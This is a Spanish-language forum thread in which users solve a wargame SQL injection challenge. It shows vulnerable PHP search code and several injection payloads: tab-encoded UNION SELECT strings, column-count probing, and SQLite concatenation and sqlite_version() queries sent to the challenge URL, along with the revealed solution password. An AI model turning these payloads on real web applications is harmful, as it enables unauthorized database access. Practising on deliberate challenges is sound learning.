Test Foro de elhacker.net SMF 2.1

Seguridad Informática => Bugs y Exploits => Hacking => Nivel Web => Mensaje iniciado por: Shell Root en 6 Marzo 2015, 16:49 PM

Título: Duda con reto de iSQL
Publicado por: Shell Root en 6 Marzo 2015, 16:49 PM
Andaba resolviendo algunos wargames, y me encontre con este! Se trata de encontrar la versión del MySQL. El script es esté:

NOTA: La parte comentareada es parte del script original la cambie para montarlo en mi localhost
Código (php) [Seleccionar]
   if ( !empty( $_GET['buscar'] ) ){
       $buscar = (string) stripslashes( $_GET['buscar'] );
       
       if ( 40 < strlen($buscar) )
           die('Hacker!');
       
       $palabras = explode( ' ', $buscar );
       if ( 3 < count($palabras) )
           die('No se permiten mas de 3 palabras en la busqueda.');
       
       #$consulta = 'SELECT * FROM diccionario WHERE';
       $consulta = 'SELECT * FROM tbl WHERE';
       foreach( (array) $palabras as $palabra )
           $consulta .= " nombre LIKE '%{$palabra}%' OR";
           #$consulta .= " yrClaves LIKE '%{$palabra}%' OR";
           
       $consulta = substr( $consulta, 0, -3 );
       $consulta .= " LIMIT 1;";
   }else{
       $consulta = 'SELECT * FROM tbl LIMIT ' . mt_rand( 0, 5 ) . ',1;';
   }
   
   # Esto es para mi localhost
   $cnn = mysql_connect("127.0.0.1", "root", "");
   $db = mysql_select_db("PoC");
   $query = mysql_query($consulta);
   if( $query !== false ){
       $data = mysql_fetch_array($query);
   }


El tema es que en mi localhost logro obtener la versión del MySQL, pero en el wargame no! De la siguiente manera,
Código (php) [Seleccionar]
5'%09union%09select%09@@version,2%09%23
Para que la query quede de la siguiente manera,
Código (sql) [Seleccionar]
SELECT * FROM tbl WHERE nombre LIKE '%5' union select @@version,2 #%' LIMIT 1;
En mi caso el resultado es: 5.6.21

El reto original esta online, es -> aHR0cDovL3d3dy55YXNoaXJhLm9yZy9SZVRvcy9BbGwvMTY3L2RpY2Npb25hcmlvLnBocD9idXNjYXI9aXNxbA==
Título: Re: Duda con reto de iSQL
Publicado por: ivancea96 en 6 Marzo 2015, 23:02 PM
Cómo haces para saltarte el count de palabras>3? xD



EDITO: Vale, ya vi, ignórame xD
Título: Re: Duda con reto de iSQL
Publicado por: Shell Root en 16 Marzo 2015, 17:28 PM
No he podido pillar que es lo que pasa, supongo que mi mysql es diferente al que tengo y por eso en mis pruebas lo he pasado, pero en el del reto no. Alguna idea?

PD: Ahora tengo que bypassear esto, no tengo la obsoluta idea de como pasarlo.
Código (php) [Seleccionar]
$usuario = (!get_magic_quotes_gpc())?addslashes($_POST['user']):$_POST['user'];
Título: Re: Duda con reto de iSQL
Publicado por: WHK en 15 Abril 2015, 04:56 AM
Recuerda que al final le quitan 3 carácteres por el "OR". Agregale 3 carácteres vacios extras:

http://www.yashira.org/ReTos/All/167/diccionario.php?buscar=s%%27%09order%09by%094%09--09%09%09%09

Con 4 columnas renorna el valor, con 5 no, por lo cual la tabla tiene 4 columnas:

http://www.yashira.org/ReTos/All/167/diccionario.php?buscar=1%27%09union%09select%091,2,3,4%09--09%09%09%09

También puedes hacer una continuación de la consulta en ves de finalizarla para ganar mas espacio de carácteres (ya que te limita a 40):

http://www.yashira.org/ReTos/All/167/diccionario.php?buscar=1%27%09union%09select%091,2,3,%274

Al final las única columna que retornan valores acortando la consulta final es el 3

Igual está raro si, no resuelve nada, ni user() ni @@version ni si quiera un concat:

http://www.yashira.org/ReTos/All/167/diccionario.php?buscar=1%27%09union%09select%091,2,concat%28%27c%27%29,%274

Será sqlite?

www.yashira.org/ReTos/All/167/diccionario.php?buscar=1'%09union%09select%091,2,'a'||'b','4

Bingo! sqlite concatena strings utilizando el operador OR en símbolo ||, asi que puse 'a'||'b' y me retornó "ab".

Ahora si, a continuar con la inyección, usamos la función sqlite_version() para retornar la versión de la base de datos:

http://www.yashira.org/ReTos/All/167/diccionario.php?buscar=%27%09union%09select%091,2,sqlite_version%28%29,%274

Y listo:

CitarCongrats!, Password: e98f1ae3f5bdeab2d89d8c928723a9f9

CitarAndaba resolviendo algunos wargames, y me encontre con este! Se trata de encontrar la versión del MySQL

Donde dice MySQL?

Saludos.
Título: Re: Duda con reto de iSQL
Publicado por: Shell Root en 15 Abril 2015, 14:23 PM
Pues tienes toda la pinche razón jajajaj me deje llevar y pense que era MySQL. Y es más, dentro del código dice que es:
Código (php) [Seleccionar]
$db = new PDO( 'sqlite:diccionario.sqlite' );